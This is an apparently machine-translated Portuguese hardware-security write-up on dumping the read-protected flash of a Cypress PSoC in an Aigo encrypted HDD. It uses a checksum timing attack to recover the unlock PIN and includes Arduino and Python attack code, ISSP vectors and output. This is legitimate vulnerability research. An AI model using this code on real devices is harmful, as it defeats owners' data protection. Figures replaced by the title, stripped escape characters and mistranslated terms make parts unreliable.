Revertendo e hackeando a unidade HDD externa com criptografia automática Aigo. Parte 2: Fazendo um dump do Cypress PSoC

Esta é a segunda e última parte do artigo sobre como hackear unidades externas com criptografia automática. Deixe-me lembrá-lo que um colega me trouxe recentemente um disco rígido Patriot (Aigo) SK8671 e decidi revertê-lo, e agora estou compartilhando o que resultou dele. Antes de continuar lendo, não deixe de ler primeira parte artigos.

4. Começamos a fazer um dump da unidade flash PSoC interna
5. Protocolo ISSP
– 5.1. O que é ISSP
– 5.2. Desmistificando Vetores
– 5.3. Comunicação com PSoC
– 5.4. Identificação de registros no chip
– 5.5. Bits de segurança
6. Primeiro ataque (falha): ROMX
7. Segundo ataque: rastreamento de inicialização a frio
– 7.1. Implementação
– 7.2. Lendo o resultado
– 7.3. Reconstrução binária flash
– 7.4. Encontrar o endereço de armazenamento do código PIN
– 7.5. Despejando o bloco nº 126
– 7.6. Recuperação de código PIN
8. O que vem a seguir?
9. Conclusão

Revertendo e hackeando a unidade HDD externa com criptografia automática Aigo. Parte 2: Fazendo um dump do Cypress PSoC


4. Começamos a fazer um dump da unidade flash PSoC interna

Então, tudo indica (como estabelecemos na [primeira parte]()) que o código PIN está armazenado nas profundezas do flash do PSoC. Portanto, precisamos ler essas profundidades de flash. Frente do trabalho necessário:

  • assumir o controle da “comunicação” com o microcontrolador;
  • encontrar uma forma de verificar se esta “comunicação” está protegida da leitura externa;
  • encontre uma maneira de contornar a proteção.

Existem dois locais onde faz sentido procurar um código PIN válido:

  • memória flash interna;
  • SRAM, onde o código PIN pode ser armazenado para compará-lo com o código PIN inserido pelo usuário.

Olhando para o futuro, observarei que ainda consegui fazer um dump da unidade flash interna do PSoC – contornando seu sistema de segurança usando um ataque de hardware chamado “rastreamento de inicialização a frio” – depois de reverter as capacidades não documentadas do protocolo ISSP. Isso me permitiu despejar diretamente o código PIN real.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Código final do programa:

5. Protocolo ISSP

5.1. O que é ISSP

“Comunicação” com um microcontrolador pode significar coisas diferentes: desde “fornecedor para fornecedor” até interação usando um protocolo serial (por exemplo, ICSP para PIC da Microchip).

Cypress possui seu próprio protocolo proprietário para isso, chamado ISSP (in-system serial programming protocol), que é parcialmente descrito em especificação técnica. Patente US7185162 também dá algumas informações. Há também um equivalente OpenSource chamado HSSP (usaremos um pouco mais tarde). O ISSP funciona da seguinte forma:

  • reinicie o PSoC;
  • envie o número mágico para o pino de dados serial deste PSoC; para entrar no modo de programação externa;
  • enviar comandos, que são sequências de bits longas chamadas "vetores".

A documentação do ISSP define esses vetores para apenas alguns comandos:

  • Inicializar-1
  • Inicializar-2
  • Inicializar-3 (opções de 3V e 5V)
  • CONFIGURAÇÃO DE ID
  • LEIA-ID-PALAVRA
  • SET-BLOCK-NUM: 10011111010dddddddd111, onde dddddddd=bloco #
  • APAGAR EM GRANDE
  • BLOCO DE PROGRAMA
  • VERIFICAR CONFIGURAÇÃO
  • BYTE DE LEITURA: 10110aaaaaaZDDDDDDDDZ1, onde DDDDDDDD = saída de dados, aaaaaa = endereço (6 bits)
  • WRITE-BYTE: 10010aaaaaaddddddd111, onde dddddddd = entrada de dados, aaaaaa = endereço (6 bits)
  • SEGURO
  • CONFIGURAÇÃO DE CHECKSUM
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, onde DDDDDDDDDDDDDDDD = saída de dados: soma de verificação do dispositivo
  • APAGAR BLOCO

Por exemplo, o vetor para Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Todos os vetores têm o mesmo comprimento: 22 bits. A documentação do HSSP contém algumas informações adicionais sobre o ISSP: “Um vetor ISSP nada mais é do que uma sequência de bits que representa um conjunto de instruções”.

5.2. Desmistificando Vetores

Vamos descobrir o que está acontecendo aqui. Inicialmente, presumi que esses mesmos vetores eram versões brutas de instruções M8C, mas após verificar essa hipótese, descobri que os opcodes das operações não correspondiam.

Então pesquisei no Google o vetor acima e me deparei aqui está um estudo onde o autor, embora não entre em detalhes, dá algumas dicas úteis: “Cada instrução começa com três bits que correspondem a um dos quatro mnemônicos (ler da RAM, escrever na RAM, ler o registro, escrever o registro). Depois, há 8 bits de endereço, seguidos por 8 bits de dados (leitura ou gravação) e finalmente três bits de parada.”

Então consegui obter algumas informações muito úteis na seção Supervisory ROM (SROM). manual técnico. SROM é uma ROM codificada no PSoC que fornece funções utilitárias (de maneira semelhante ao Syscall) para código de programa em execução no espaço do usuário:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: ApagarBloco
  • 06h: Leitura da Mesa
  • 07h: CheckSoma
  • 08h: Calibrar0
  • 09h: Calibrar1

Ao comparar nomes de vetores com funções SROM, podemos mapear as diversas operações suportadas por este protocolo para os parâmetros SROM esperados. Graças a isso, podemos decodificar os três primeiros bits dos vetores ISSP:

  • 100 => “wrem”
  • 101 => “rdmem”
  • 110 => “errado”
  • 111 => “regreg”

No entanto, uma compreensão completa dos processos on-chip só pode ser obtida através da comunicação direta com o PSoC.

5.3. Comunicação com PSoC

Como Dirk Petrautsky já portado Código HSSP do Cypress no Arduino, usei o Arduino Uno para conectar ao conector ISSP da placa do teclado.

Observe que, no decorrer da minha pesquisa, mudei bastante o código do Dirk. Você pode encontrar minha modificação no GitHub: aqui e o script Python correspondente para comunicação com Arduino, em meu repositório cipreste_psoc_tools.

Então, usando o Arduino, usei primeiro apenas os vetores “oficiais” para “comunicação”. Tentei ler a ROM interna usando o comando VERIFY. Como esperado, não consegui fazer isso. Provavelmente devido ao fato de os bits de proteção de leitura estarem ativados dentro do pen drive.

Então criei alguns de meus próprios vetores simples para escrever e ler memória/registros. Observe que podemos ler todo o SROM mesmo que a unidade flash esteja protegida!

5.4. Identificação de registros no chip

Depois de observar os vetores “desmontados”, descobri que o dispositivo usa registros não documentados (0xF8-0xFA) para especificar opcodes M8C, que são executados diretamente, contornando a proteção. Isso me permitiu executar vários opcodes como "ADD", "MOV A, X", "PUSH" ou "JMP". Graças a eles (observando os efeitos colaterais que têm nos registros) consegui determinar quais dos registros não documentados eram na verdade registros regulares (A, X, SP e PC).

Como resultado, o código “desmontado” gerado pela ferramenta HSSP_disas.rb fica assim (adicionei comentários para maior clareza):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Bits de segurança

Nesta fase já consigo me comunicar com o PSoC, mas ainda não tenho informações confiáveis ​​sobre os bits de segurança do pen drive. Fiquei muito surpreso com o fato de o Cypress não fornecer ao usuário do dispositivo nenhum meio de verificar se a proteção está ativada. Pesquisei mais fundo no Google para finalmente entender que o código HSSP fornecido pelo Cypress foi atualizado depois que Dirk lançou sua modificação. E assim! Este novo vetor apareceu:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Usando este vetor (veja read_security_data em psoc.py), obtemos todos os bits de segurança na SRAM em 0x80, onde há dois bits por bloco protegido.

O resultado é deprimente: tudo fica protegido no modo “desativar leitura e escrita externa”. Portanto, não apenas não podemos ler nada de uma unidade flash, mas também não podemos escrever nada (por exemplo, para instalar um dumper de ROM lá). E a única maneira de desabilitar a proteção é apagando completamente todo o chip. 🙁

6. Primeiro ataque (falha): ROMX

Porém, podemos tentar o seguinte truque: já que temos a capacidade de executar opcodes arbitrários, por que não executar o ROMX, que é usado para ler memória flash? Essa abordagem tem boas chances de sucesso. Porque a função ReadBlock que lê dados do SROM (que é usado por vetores) verifica se ele é chamado do ISSP. No entanto, o opcode ROMX pode não ter essa verificação. Então aqui está o código Python (depois de adicionar algumas classes auxiliares ao código Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Infelizmente este código não funciona. 🙁 Ou melhor, funciona, mas na saída obtemos nossos próprios opcodes (0x28 0x30 0x40)! Não creio que a funcionalidade correspondente do dispositivo seja um elemento de proteção de leitura. Isso é mais como um truque de engenharia: ao executar opcodes externos, o barramento ROM é redirecionado para um buffer temporário.

7. Segundo ataque: rastreamento de inicialização a frio

Como o truque do ROMX não funcionou, comecei a pensar em outra variação desse truque – descrito na publicação "Derramando muita luz sobre a proteção de firmware de um microcontrolador".

7.1. Implementação

A documentação do ISSP fornece o seguinte vetor para CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Isso essencialmente chama a função SROM 0x07, conforme apresentado na documentação (itálico meu):

Esta função verifica a soma de verificação. Ele calcula uma soma de verificação de 16 bits do número de blocos especificados pelo usuário em um banco flash, começando do zero. O parâmetro BLOCKID é utilizado para passar a quantidade de blocos que serão utilizados no cálculo do checksum. Um valor "1" calculará apenas a soma de verificação do bloco zero; enquanto "0" fará com que a soma de verificação total de todos os 256 blocos do banco flash seja calculada. A soma de verificação de 16 bits é retornada via KEY1 e KEY2. O parâmetro KEY1 armazena os 8 bits de ordem inferior da soma de verificação e o parâmetro KEY2 armazena os 8 bits de ordem superior. Para dispositivos com vários bancos flash, a função checksum é chamada para cada um separadamente. O número do banco com o qual funcionará é definido pelo registrador FLS_PR1 (definindo nele o bit correspondente ao banco flash alvo).

Observe que esta é uma soma de verificação simples: os bytes são simplesmente adicionados um após o outro; sem peculiaridades sofisticadas do CRC. Além disso, sabendo que o núcleo M8C possui um conjunto muito pequeno de registros, presumi que ao calcular o checksum, os valores intermediários serão registrados nas mesmas variáveis ​​​​que irão para a saída: KEY1 (0xF8) / KEY2 ( 0xF9).

Então, em teoria, meu ataque é assim:

  1. Nós nos conectamos via ISSP.
  2. Iniciamos o cálculo da soma de verificação usando o vetor CHECKSUM-SETUP.
  3. Reinicializamos o processador após um tempo especificado T.
  4. Lemos RAM para obter a soma de verificação atual C.
  5. Repita as etapas 3 e 4, aumentando T um pouco a cada vez.
  6. Recuperamos dados de uma unidade flash subtraindo a soma de verificação C anterior da atual.

Porém, há um problema: o vetor Initialize-1 que devemos enviar após a reinicialização sobrescreve KEY1 e KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Este código substitui nossa preciosa soma de verificação chamando Calibrate1 (função SROM 9)... Talvez possamos apenas enviar o número mágico (do início do código acima) para entrar no modo de programação e depois ler a SRAM? E sim, funciona! O código do Arduino que implementa esse ataque é bastante simples:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Leia checkum_delay.
  2. Execute o cálculo da soma de verificação (send_checksum_v).
  3. Aguarde um período de tempo especificado; tendo em conta as seguintes armadilhas:
    • Perdi muito tempo até descobrir o que aconteceu atraso de microssegundos funciona corretamente apenas com atrasos não superiores a 16383 μs;
    • e então matei novamente a mesma quantidade de tempo até descobrir que delayMicroseconds, se 0 for passado para ele como entrada, funciona completamente incorretamente!
  4. Reinicie o PSoC em modo de programação (apenas enviamos o número mágico, sem enviar vetores de inicialização).

Código final em Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Resumindo, o que este código faz:

  1. Reinicia o PSoC (e envia um número mágico).
  2. Envia vetores de inicialização completos.
  3. Chama a função do Arduino Cmnd_STK_START_CSUM (0x85), onde o atraso em microssegundos é passado como parâmetro.
  4. Lê a soma de verificação (0xF8 e 0xF9) e o registro não documentado 0xF1.

Este código é executado 10 vezes em 1 microssegundo. 0xF1 está incluído aqui porque foi o único registro que mudou no cálculo da soma de verificação. Talvez seja algum tipo de variável temporária usada pela unidade lógica aritmética. Observe o hack feio que uso para reiniciar o Arduino usando picocom quando o Arduino para de mostrar sinais de vida (não tenho ideia do porquê).

7.2. Lendo o resultado

O resultado do script Python é semelhante a este (simplificado para facilitar a leitura):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Dito isto, temos um problema: como estamos operando com um checksum real, um byte nulo não altera o valor lido. Porém, como todo o procedimento de cálculo (8192 bytes) leva 0,1478 segundos (com pequenas variações cada vez que é executado), o que equivale a aproximadamente 18,04 μs por byte, podemos usar esse tempo para verificar o valor da soma de verificação nos momentos apropriados. Nas primeiras execuções, tudo é lido com bastante facilidade, pois a duração do procedimento computacional é sempre quase a mesma. No entanto, o final deste despejo é menos preciso porque os “pequenos desvios de tempo” em cada execução se somam e se tornam significativos:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

São 10 dumps para cada microssegundo de atraso. O tempo total de operação para descarregar todos os 8192 bytes de uma unidade flash é de cerca de 48 horas.

7.3. Reconstrução binária flash

Ainda não terminei de escrever o código que reconstruirá completamente o código do programa do pen drive, levando em consideração todos os desvios de tempo. Porém, já restaurei o início deste código. Para ter certeza de que fiz tudo corretamente, desmontei usando m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Parece bastante plausível!

7.4. Encontrar o endereço de armazenamento do código PIN

Agora que podemos ler a soma de verificação nos momentos que precisamos, podemos facilmente verificar como e onde ela muda quando:

  • digite o código PIN errado;
  • altere o código PIN.

Primeiro, para encontrar o endereço de armazenamento aproximado, fiz um dump da soma de verificação em incrementos de 10 ms após a reinicialização. Então digitei o PIN errado e fiz o mesmo.

O resultado não foi muito agradável, pois houve muitas mudanças. Mas no final consegui determinar que a soma de verificação mudou em algum lugar entre 120000 µs e 140000 µs de atraso. Mas o “código PIN” que eu exibi estava completamente incorreto - devido a um artefato do procedimento delayMicroseconds, que faz coisas estranhas quando 0 é passado para ele.

Então, depois de passar quase 3 horas, lembrei que a chamada do sistema SROM CheckSum recebe como entrada um argumento que especifica o número de blocos para o checksum! Que. podemos localizar facilmente o endereço de armazenamento do código PIN e do contador de “tentativas incorretas”, com uma precisão de até um bloco de 64 bytes.

Minhas execuções iniciais produziram o seguinte resultado:

Revertendo e hackeando a unidade HDD externa com criptografia automática Aigo. Parte 2: Fazendo um dump do Cypress PSoC

Então mudei o código PIN de “123456” para “1234567” e obtive:

Revertendo e hackeando a unidade HDD externa com criptografia automática Aigo. Parte 2: Fazendo um dump do Cypress PSoC

Assim, o código PIN e o contador de tentativas incorretas parecem estar armazenados no bloco nº 126.

7.5. Despejando o bloco nº 126

O bloco nº 126 deve estar localizado em algum lugar em torno de 125x64x18 = 144000μs, desde o início do cálculo da soma de verificação, em meu dump completo, e parece bastante plausível. Então, depois de filtrar manualmente vários dumps inválidos (devido ao acúmulo de “pequenos desvios de tempo”), acabei obtendo estes bytes (com uma latência de 145527 μs):

Revertendo e hackeando a unidade HDD externa com criptografia automática Aigo. Parte 2: Fazendo um dump do Cypress PSoC

É bastante óbvio que o código PIN é armazenado de forma não criptografada! Esses valores, é claro, não estão escritos em códigos ASCII, mas, ao que parece, refletem as leituras feitas no teclado capacitivo.

Por fim, executei mais alguns testes para descobrir onde o contador de tentativas incorretas estava armazenado. Aqui está o resultado:

Revertendo e hackeando a unidade HDD externa com criptografia automática Aigo. Parte 2: Fazendo um dump do Cypress PSoC

0xFF – significa “15 tentativas” e diminui a cada tentativa falhada.

7.6. Recuperação de código PIN

Aqui está meu código feio que reúne o que foi dito acima:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Aqui está o resultado de sua execução:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Viva! Funciona!

Observe que os valores de latência que usei provavelmente são relevantes para um PSoC específico – aquele que usei.

8. O que vem a seguir?

Então, vamos resumir o lado do PSoC, no contexto da nossa campanha Aigo:

  • podemos ler SRAM mesmo que esteja protegido contra leitura;
  • Podemos contornar a proteção anti-furto usando um ataque de rastreamento de inicialização a frio e lendo diretamente o código PIN.

Porém, nosso ataque apresenta algumas falhas devido a problemas de sincronização. Poderia ser melhorado da seguinte forma:

  • escrever um utilitário para decodificar corretamente os dados de saída obtidos como resultado do ataque de “rastreamento de inicialização a frio”;
  • use um gadget FPGA para criar atrasos de tempo mais precisos (ou use temporizadores de hardware Arduino);
  • tente outro ataque: insira um código PIN deliberadamente incorreto, reinicie e descarte a RAM, esperando que o código PIN correto seja salvo na RAM para comparação. Porém, isso não é tão fácil de fazer no Arduino, já que o nível do sinal do Arduino é de 5 volts, enquanto a placa que estamos examinando funciona com sinais de 3,3 volts.

Uma coisa interessante que pode ser tentada é brincar com o nível de tensão para contornar a proteção de leitura. Se essa abordagem funcionasse, seríamos capazes de obter dados absolutamente precisos da unidade flash - em vez de depender da leitura de uma soma de verificação com atrasos imprecisos.

Como o SROM provavelmente lê os bits de proteção por meio da chamada de sistema ReadBlock, poderíamos fazer o mesmo que descrito no blog de Dmitry Nedospasov - uma reimplementação do ataque de Chris Gerlinski, anunciado na conferência "REcon Bruxelas 2017".

Outra coisa divertida que pode ser feita é retirar o case do chip: fazer um dump de SRAM, identificar chamadas de sistema não documentadas e vulnerabilidades.

9. Conclusão

Portanto, a proteção deste drive deixa muito a desejar, pois ele utiliza um microcontrolador normal (não “endurecido”) para armazenar o código PIN... Além disso, ainda não olhei como estão as coisas com os dados criptografia neste dispositivo!

O que você pode recomendar para Aigo? Depois de analisar alguns modelos de unidades HDD criptografadas, em 2015 fiz apresentação no SyScan, no qual examinou os problemas de segurança de vários discos rígidos externos e fez recomendações sobre o que poderia ser melhorado neles. 🙂

Passei dois fins de semana e várias noites fazendo essa pesquisa. Um total de cerca de 40 horas. Contando desde o início (quando abri o disco) até o fim (despejo do código PIN). As mesmas 40 horas incluem o tempo que passei escrevendo este artigo. Foi uma viagem muito emocionante.

Fonte: habr.com

Adicionar um comentário